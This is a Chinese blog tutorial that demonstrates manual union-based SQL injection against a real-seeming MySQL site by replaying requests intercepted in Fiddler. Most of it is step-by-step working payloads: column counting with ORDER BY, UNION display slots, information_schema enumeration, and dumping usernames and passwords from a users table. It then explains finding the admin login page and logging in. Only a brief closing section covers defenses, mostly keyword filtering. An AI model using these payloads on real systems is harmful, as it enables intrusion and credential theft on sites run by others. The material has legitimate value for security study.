[滲透&攻防] 四.詳解MySQL資料庫攻防及Fiddler神器分析資料包

Eastmount發表於2017-07-30

這是最近學習滲透和網站攻防的基礎性文章,前面文章從資料庫原理解讀了防止SQL隱碼攻擊、SQLMAP的基礎用法、資料庫差異備份、Caidao神器。這篇文章將詳細講解MySQL資料庫攻防知識,有點類似第一篇文章,然後其核心是解決區域性重新整理資料的思想,並通過Fiddler神器分析資料包的方法。

希望自己能深入地學習這部分知識,作為一個初學者,在探索網路攻防和滲透的路上還很長。同時,希望文章對你有所幫助,尤其是學習網路安全的初學者,錯誤或不足之處還請海涵~

    一.Fiddler神器基礎用法&區域性重新整理問題
        1.什麼是Fiddler
        2.Fiddler基礎用法
        3.區域性重新整理問題
    二.Fiddler分析MySQL資料庫
        1.Fiddler分析介面
        2.資料庫如何判斷欄位總數 order by
        3.資料庫獲取顯示位 union
        4.資料庫顯示應資料 database()
        5.資料庫獲取所有資料庫名 information_schema
        5.資料庫獲取表名及列名 table_name
        6.資料庫獲取登入表欄位 columns 
        7.資料庫返回使用者名稱和密碼 
        8.登入系統
    三.資料庫防禦措施
 
   
前文欣賞:
[滲透&攻防] 一.從資料庫原理學習網路攻防及防止SQL隱碼攻擊
[滲透&攻防] 二.SQL MAP工具從零解讀資料庫及基礎用法
[滲透&攻防] 三.資料庫之差異備份及Caidao利器



一. Fiddler神器基礎用法&區域性重新整理問題

作者最早接觸Fiddler,是身邊一個大神,通過Fiddler+C#自制抓取Ipad遊戲資料做外掛,讓自己的人物總能撿到好裝備,十分之崇拜,後悔沒跟著他學習下。現在準備好好研究下它吧,希望文章也對你有所幫助。

首先作者簡單介紹什麼是Fiddler及基礎功能,這裡引用ohmygirl大神的文章部分內容。
    【HTTP】Fiddler(一) - Fiddler簡介
該文章簡單易懂,推薦大家閱讀。

1.什麼是Fiddler

Fiddler是位於客戶端和伺服器端的HTTP代理,也是目前最常用的http抓包工具之一 。 它能夠記錄客戶端和伺服器之間的所有 HTTP請求,可以針對特定的HTTP請求,分析請求資料、設定斷點、除錯web應用、修改請求的資料,甚至可以修改伺服器返回的資料,功能非常強大,是web除錯的利器。


Fiddler是用C#寫出來的,它包含一個簡單卻功能強大的基於JScript .NET 事件指令碼子系統,它的靈活性非常棒,可以支援眾多的http除錯任務,並且能夠使用.net框架語言進行擴充套件。安裝前需安裝microsoft .net framework可執行檔案。


2.Fiddler基礎用法

執行主介面如下所示:



主介面中主要包括四個常用的塊:
(1) Fiddler選單欄
頂部為選單欄,包括捕獲http請求,停止捕獲請求,儲存http請求,載入本地session、設定捕獲規則等功能。

(2) Fiddler工具欄
選單欄下來是一行工具欄,包括Fiddler針對當前view的操作(暫停、清除session、decode模式、清除快取等)。

(3) Web Session皮膚
左邊部分位Web Session皮膚,主要是Fiddler抓取到的每條http請求(每一條稱為一個session),主要包含了請求的url、協議、狀態碼、body等資訊。其中常見狀態碼為:
    200--成功,伺服器成功處理請求且響應已成功接收。
    301--請求的URL
    400--壞請求。當目的伺服器接收到請求但不理解細節所以無法處理時發生。
    404--頁面找不到。如果目標API已移動或已更新但未保留向後相容性時發生。
    500--內部伺服器錯誤。伺服器端發生了某種致命錯誤,且錯誤並被服務提供商捕獲。
詳細的欄位含義如下圖所示:


(4) 詳情和資料統計皮膚
右邊部分位詳情和資料統計針對每條http請求的具體統計(例如傳送/接受位元組數,傳送/接收時間,還有粗略統計世界各地訪問該伺服器所花費的時間)和資料包分析。
其中最常用的是inspector皮膚,提供了headers、textview、hexview、Raw等多種方式檢視單條http請求的請求報文的資訊。


下面的例項主要應用的就是Inspectors皮膚下的Raw模組。

3.區域性重新整理問題

在網站開發過程中,區域性重新整理是常見又實用的功能,區域性重新整理通過可以呼叫iframe、ajax等技術實現。下面是我們團隊設計的區域性重新整理介面。


再如下圖一個區域性重新整理,點選左邊的地圖可以在右邊顯示位置,同時下面出現對應國家的基礎資訊,但是URL仍然為同一個。


如果通過手工注入或SQLMAP是沒有反饋結果的,畢竟URL都沒有變化。此時你準備怎麼解決呢?腦袋是否都想疼了,感謝Na老師和ST老師推薦的Fiddler,下面將結合該工具進行簡單敘述,普及它的基礎用法。



二. Fiddler分析MySQL資料庫

1.Fiddler分析介面

首先,開啟Fiddler後在Web session皮膚按住Ctrl+A,選中所有介面後點選Delete刪除。因為它是實時捕獲資訊的,先刪除該頁面。


接著在瀏覽器中輸入網址:http://www.xxx.com/worldmap/index
1) Fiddler捕獲請求

此時點選其中一個超連結,下面會返回相關資訊,此時觀察Fiddler,如下圖所示,其原理是瀏覽器點選超連結傳送一個請求,Fiddler截獲其資料包,200表示成功訪問,主機域名和對應URL即對應連結。



2) Inspectors Raw操作
此時點選Inspectors,右邊上下都選擇Raw介面,餘下部分作者主要使用Inspectors介面的Raw進行操作。上面的Raw是你發出的請求,下面的Raw是你的回覆。
點選右部的“Response body is encoded. Click to decode”按鈕,其原理是網頁傳輸都是壓縮過的,然後你需要解壓一下,查詢網頁的原資訊。點選前後對比如下所示:

  

3) F12鍵實時捕獲
此時可以在Fiddler中按F12鍵,它表示是否實時截獲瀏覽器的資料。按F12後,只需要在Fiddler中操作我們所需介面即可,否則實時操作,請求很多。按F12後右底部顯示該圖表示實時截獲。


點選左邊Web Session皮膚的URL,右面顯示其對應的請求資訊。

4) URL分析
對應的URL為:
http://www.xxx.com/worldmap/view/prefix/CN
反饋的資訊為其對應的內容,說明資料庫中有類似Area='CN'的語句。現在如果把AF換成AF--呢?首先我們需要解決,怎麼在Fiddler中修改URL,並獲取返回結果。

5) Raw下修改URL產生一個新請求
選中URL並點選鍵盤快捷鍵E,可以在Inspectors的Raw介面下修改URL;另一種方法是右鍵URL,然後選擇Replay,Reissue and Edit。然後將URL修改成"CN--",點選"Run to Completion"按鈕產生新的請求,Fiddler會監聽瀏覽器的請求,如果URL訪問錯誤則不會有響應結果,狀態碼為500等。



下面開始結合MySQL資料庫知識進行講解了。


2.資料庫如何判斷欄位總數 order by

Inspectors頁面Raw進行編輯URL
(1) GET 
http://xxxxx/prefix/CN')+order+by+1# HTTP/1.1   (正常顯示)
對應的MySQL語句:
select .... from table where area=('cn') order by 1 # and xxxx;
按照1個欄位進行排序,正常顯示錶示該URL對應的SQL語句至少一個欄位。

注意:CN後面的 ') 用單引號+括號匹配結束該字元,同時Fiddler加號連線URL,而第一篇文章 "一.從資料庫原理學習網路攻防及防止SQL隱碼攻擊" URL是空格連線的。最後的#表示在MySQL中註釋包括#和--,這裡--報錯,而#成功訪問,如下圖所示。


(2) GET http://xxxxx/prefix/CN')+order+by+8# HTTP/1.1   (正常顯示)
對應的SQL語句:
select .... from table where area=('cn') order by 8 # and xxxx;
如果出現亂碼,則點選右部的“Response body is encoded. Click to decode.”按鈕進行檢視。

(3) GET http://xxxxx/prefix/CN')+order+by+9# HTTP/1.1   (錯誤顯示)
對應的SQL語句:
select .... from table where area=('cn') order by 9 # and xxxx;
表示該查詢總共8個欄位,下面需要開始測試反饋內容。

重點:欄位共8個。


3.資料庫獲取顯示位 union

在得到欄位個數後,需要獲取欄位位置,則使用union或union all。其中union表示將兩個select結果整體顯示,併合並相同的結果,union all顯示全部結果。例如:


(1) GET http://xxxxx/prefix/CN')+union+select+null,null,null,null,null,null,null,null# HTTP/1.1 
對應的SQL語句:
select .... from table where area=('cn')
union select null,null,null,null,null,null,null,null  # 
and xxxx;
正常顯示,共8個null,表示萬用字元,對應8個欄位。


(2
) GET http://xxxxx/prefix/CN')+union+select+1,2,3,4,5,6,7,8# HTTP/1.1 
對應的SQL語句:
select .... from table where area=('cn') 
union select 1,2,3,4,5,6,7,8  # 
and xxxx;
此時需要觀察反饋的數字,它就是我們獲取的那道門,該數字這是進入房間的大門。前面第一篇文章是通過URL測試,如果報錯則null替換數字,此時不需要。

(3
) GET http://xxxxx/prefix/CNab')+union+select+1,2,3,4,5,6,7,8# HTTP/1.1 
對應的SQL語句:
select .... from table where area=('CNab') 
union select 1,2,3,4,5,6,7,8  # 
and xxxx;
然後將"CN"修改成"Cnab",讓其報錯不反饋前面的內容,而反饋後面union select 1....8的數字,執行結果如下所示,數字6則為漏洞。
重點:CNab讓第一條SQL語句不返回,只關注我們的資訊。


接下來想辦法將我們需要的結果在這裡顯示即可,資料都是從後臺資料庫中查詢出來的。


4.資料庫顯示應資料 database()

(1) GET http://xxxxx/prefix/CN')+union+select+1,2,3,4,5,database(),7,8# HTTP/1.1 
對應的SQL語句:
select .... from table where area=('cn') 
union select 1,2,3,4,5,database(),7,8  # 
and xxxx;
MySQL資料庫中database()用於獲取資料庫的內容,version()用於獲取當前資料庫版本號內容。如下當前資料庫為20170720df。


查詢的結果如下所示,資料庫為mfa。


如果想連線,則使用concat()拼接函式:
(2) union+select+1,2,3,4,5,concat(user(),0x20,database(),0x20,version())
,7,8#
反饋結果,0x20表示空格:
mfaroot@localhost mfa 5.5.4-deb8u1-log
<div class="line-block"></div>
<div class="line-block"></div>


5.獲取當前所有資料庫 information_schema

那麼怎麼獲取資料庫所有的資料庫名呢?
作者最早想到的是SQL語句:
select table_name from information_schema.tables;
該語句反饋整個資料庫系統中,所有的表名,如下所示:



但是下面的連結反饋500錯誤:
http://xxxxx/prefix/CNab')+union+all+select+1,2,3,4,5,
(select+table_name+from+information_schema.tables),7,8#
這是因為需要將資料庫反饋結果拼接成一行,同時還需要指定只獲取mfa資料庫裡面的表,則使用如下方法:
mysql安裝成功後可以看到已經存在mysql、information_schema和test這個幾個資料庫
information_schema庫中有一個名為COLUMNS的表,這個表中記錄了資料庫中所有表的欄位資訊。
知道這個表後,獲取任意表的欄位就只需要一條select語句即可。如:

select COLUMN_NAME from information_schema.COLUMNS where table_name = 'your_table_name';   

(1) GET http://xxxxx/prefix/CN')+union+all+select+1,2,3,4,5,
    group_concat(distinct+table_schema),7,8+from+
    information_schema.columns#
 HTTP/1.1 
對應的SQL語句:
select .... from table where area=('cn') 
union all select 1,2,3,4,5,group_concat(distinct+table_schema),7,8
from information_schema.columns# 
and xxxx;
Fiddleer輸出結果如下所示:
information_schema,mfa
<div class="line-block"></div>
<div class="line-block"></div>

(2) GET http://xxxxx/worldmap/view/prefix/CNab')+union+all+
    select+1,2,3,4,5,group_concat(distinct+table_schema),7,8+from+
    information_schema.columns+where+table_schema=database()#
 
HTTP/1.1
 
對應的SQL語句:
select group_concat(distinct+table_schema) from 
information_schema.columns where table_schema=database();
本地資料庫測試如下圖所示:


Fiddler輸出結果如下所示,同理獲取表名。
mfa
<div class="line-block"></div>
<div class="line-block"></div>


6.資料庫獲取表名及列名 table_name

(1) GET http://xxxxx/worldmap/view/prefix/CNab')+union+all+
    select+1,2,3,4,5,group_concat(distinct+table_name),7,8+from+
    information_schema.tables+where+table_schema=database()#
HTTP/1.1
 
對應的MySQL語句,table_name、tables表示表名:
select group_concat(distinct+table_name) from
information_schema.tables where table_schema=database();
本地資料庫測試如下圖所示,輸出結果包括該各個表名。



輸出結果如下所示:


問題,但是我並沒有找到登入表,原來group_concat有限制,那怎麼處理呢?使用limit m,n進行限制,從m開始輸出n個欄位。平時常使用的是limit n輸出前n個欄位。
select table_name from information_schema.tables 
where table_schema=database() limit 10,5;

本地資料庫從10序號開始輸出5個欄位,如下所示:



依次從0開始輸出20個欄位,並count()統計總共多少張表,總會找到登陸表。

(2) GET http://xxxxx/worldmap/view/prefix/CNab')+union+all+
    select+1,2,3,4,5,group_concat(distinct+table_name),7,8+from+
    (select+table_name+from+information_schema.tables+
    where+table_schema=database()+limit+0,20)+as+sub# 
 
HTTP/1.1
 
對應的MySQL語句如下,使用子查詢獲取20個表名,再進行拼接輸出:
select group_concat(distinct+table_name) from 
(select table_name from information_schema.tables
 where table_schema=database() limit 0,20) as sub;

輸出結果如下:


(3) GET http://xxxxx/worldmap/view/prefix/CNab')+union+all+
    select+1,2,3,4,5,group_concat(distinct+table_name),7,8+from+
    (select+table_name+from+information_schema.tables+
    where+table_schema=database()+limit+100,20)+as+sub# 
 
HTTP/1.1 
依次從limit 20,20、limit 40,20、limit 100,20進行獲取,最好發現登入表為users。

重點:登陸表users


7.資料庫獲取登入表欄位 columns

獲取登入表的欄位,使用SQL語句:
select group_concat(distinct+column_name) from 
information_schema.columns where table_name='users';

本地資料庫執行結果如下所示:


(1)
 GET http://xxxxx/worldmap/view/prefix/CNab')+union+all+
    select+1,2,3,4,5,group_concat(distinct+column_name),7,8+from+
    information_schema.columns+where+table_name='users
'#
 HTTP/1.1
 
對應的MySQL語句,table_name、tables表示表名:
select 1,2,3,4,5,group_concat(distinct+tcolumn_name),7,8 from 
information_schema.columns where table_name='users';

輸出結果如下圖所示:


重點:使用者名稱欄位username、密碼password。


8.資料庫返回使用者名稱和密碼 

(1) GET http://xxxxx/worldmap/view/prefix/CNab')+union+all+
    select+1,2,3,4,5,group_concat(distinct+username,0x2b,
    password,0x2b,vozrast),7,8+from+users#
 HTTP/1.1
 
對應的MySQL語句,table_name、tables表示表名:
selecgroup_concat(distinct+username,0x2b,password,0x2b,vozrast) from users;
點選"Run to completion"按鈕輸出結果如下圖所示,0x2b表示加號,如果獲取更多使用者名稱和密碼,你可以自己思考下?


9.登入系統

登入怎麼找到登入頁面呢?照網站後臺的方法:
方法一:一定用谷歌搜尋,admin、login、system、manage、user等關鍵詞;
方法二:配置檔案robots.txt,網頁連結等;
方法三:掃描目錄,通過一些工具。


然後登入即可。


三. 資料庫防禦措施

真正的困難在於如何找到一個存在漏洞的網站,如何去防護。現在很多網站都應做好相關防禦措施,手工SQL隱碼攻擊是沒有反應的,但是找到漏洞後,再利用SQLMAP就能夠找到相應的使用者名稱和密碼。

參考前文,個人理解的防禦措施:

    1.在URL設定不允許非法字元,如單引號、等號、註釋--、減號,提示非法引數;
    2.在URL設定不允許SQL常見的關鍵詞,如and、select、or、insert等;
    3.傳遞的id=115引數必須為數字才能正常跳轉,否則跳轉錯誤;
    4.伺服器啟用SQL隱碼攻擊攔截功能,提示當前網頁的 URL / POST / COOKIES中包含了特定的 SQL字元而被防火牆攔截,因為可能通過POST、Cookies進行攻擊,各方面都需要做到防禦。
    5.可以使用js客戶端進行不安全字元遮蔽,也可以在jsp中呼叫該函式檢查是否包函非法字元,或使用正規表示式過濾傳入的引數,防止SQL從URL注入。


希望文章對你有所幫助,尤其是網路安全的程式設計師,因為系列文章是和前文息息相關的,所以看著有些凌亂。如果文章存在錯誤或不足之處,還請海涵。感謝娜師傅的一路陪伴,學中文的扔掉了手中的尤克里裡,教我寫程式碼也是很瘋狂的啊,哈哈!不忘初心,繼續前行。加油,秀璋。綠妖,晚安!
(By:Eastmount 2017-07-30 深夜1點  http://blog.csdn.net/eastmount/ )




相關文章